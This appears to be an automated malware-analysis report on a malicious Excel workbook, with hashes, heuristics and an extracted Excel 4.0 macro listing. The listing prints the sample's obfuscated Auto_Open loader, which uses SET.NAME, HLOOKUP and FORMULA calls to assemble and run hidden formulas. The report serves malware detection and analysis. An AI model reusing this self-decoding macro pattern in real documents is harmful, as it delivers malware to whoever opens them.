Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd05841421c4ea3d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:16 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: aa4a556a18094aa5525110bda4548620 SHA-1: 35b2a330a25d3e5d72d16675ad439b00145445cf SHA-256: dd05841421c4ea3df38cfba796dedac0241040bd33d82525cd3f4d4d9d695d8b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6453 bytes
SHA-256: fbea6bd7b83d31872b48e64878418697205df82a371ce3840ec5e0dec9f2d1e9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IxHvRE
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F158 
' 0018     23 LABEL : Cell Value, String Constant - CNVfWIUs len=0 
' 0018     20 LABEL : Cell Value, String Constant - dRCMj len=0 
' 0018     20 LABEL : Cell Value, String Constant - FLUwe len=0 
' 0018     25 LABEL : Cell Value, String Constant - FZENUCPMtd len=0 
' 0018     24 LABEL : Cell Value, String Constant - gdWuOnrIS len=0 
' 0018     21 LABEL : Cell Value, String Constant - gNWBBF len=0 
' 0018     24 LABEL : Cell Value, String Constant - HCmPRouqT len=0 
' 0018     25 LABEL : Cell Value, String Constant - hJROaJRKLX len=0 
' 0018     23 LABEL : Cell Value, String Constant - irtDhdRD len=0 
' 0018     21 LABEL : Cell Value, String Constant - LBTEtm len=0 
' 0018     25 LABEL : Cell Value, String Constant - LEzTckrjbp len=0 
' 0018     21 LABEL : Cell Value, String Constant - MriWNr len=0 
' 0018     22 LABEL : Cell Value, String Constant - ojWigrx len=0 
' 0018     26 LABEL : Cell Value, String Constant - OuMskyspkJZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - SITeBuOe len=0 
' 0018     21 LABEL : Cell Value, String Constant - tWmXoS len=0 
' 0018     26 LABEL : Cell Value, String Constant - uvVYNNjqEex len=0 
' 0018     25 LABEL : Cell Value, String Constant - wDPqNFTmGf len=0 
' 0018     21 LABEL : Cell Value, String Constant - yrTKGB len=0 
' 0018     25 LABEL : Cell Value, String Constant - yuuUlwPlBk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IxHvRE,F62,"SET.NAME("hJROaJRKLX",VALUE("0"))",""
'  IxHvRE,F64,"SET.NAME("MriWNr",hJROaJRKLX)",""
'  IxHvRE,F68,"SET.NAME("irtDhdRD",hJROaJRKLX)",""
'  IxHvRE,F70,"SET.NAME("gNWBBF",COUNTA(FLUwe))",""
'  IxHvRE,F74,"SET.NAME("SITeBuOe",COUNTA(ojWigrx))",""
'  IxHvRE,F77,[],""
'  IxHvRE,F80,"SET.NAME("LEzTckrjbp","")",""
'  IxHvRE,F84,"MriWNr",""
'  IxHvRE,F88,"SET.NAME("wDPqNFTmGf",HLOOKUP("*",FLUwe,MriWNr,FALSE))",""
'  IxHvRE,F93,"uvVYNNjqEex",""
'  IxHvRE,F97,"SET.NAME("gdWuOnrIS",hJROaJRKLX)",""
'  IxHvRE,F101,[],""
'  IxHvRE,F104,"gdWuOnrIS",""
'  IxHvRE,F108,"LBTEtm",""
'  IxHvRE,F112,"dRCMj",""
'  IxHvRE,F116,"yuuUlwPlBk",""
'  IxHvRE,F120,"SET.NAME("tWmXoS",VALUE(HLOOKUP("*",ojWigrx,yuuUlwPlBk,FALSE)))",""
'  IxHvRE,F125,"yrTKGB",""
'  IxHvRE,F128,"LEzTckrjbp",""
'  IxHvRE,F133,"irtDhdRD",""
'  IxHvRE,F137,NEXT(),""
'  IxHvRE,F142,"OuMskyspkJZ",""
'  IxHvRE,F144,"SET.NAME("f",INT(T(FORMULA(T(LEzTckrjbp)&"",""&T(OuMskyspkJZ)))))",""
'  IxHvRE,F146,"HCmPRouqT",""
'  IxHvRE,F151,NEXT(),""
'  IxHvRE,F154,RETURN(),""
'  IxHvRE,F187,"SET.NAME("FZENUCPMtd",F62)",""
'  IxHvRE,F189,"FLUwe",""
'  IxHvRE,F192,"SET.NAME("ojWigrx",R72C13)",""
'  IxHvRE,F195,"SET.NAME("HCmPRouqT",205)",""
'  IxHvRE,F200,"SET.NAME("CNVfWIUs",6)",""
'  IxHvRE,F204,FZENUCPMtd(),""
'  IxHvRE,F205,HALT(),""

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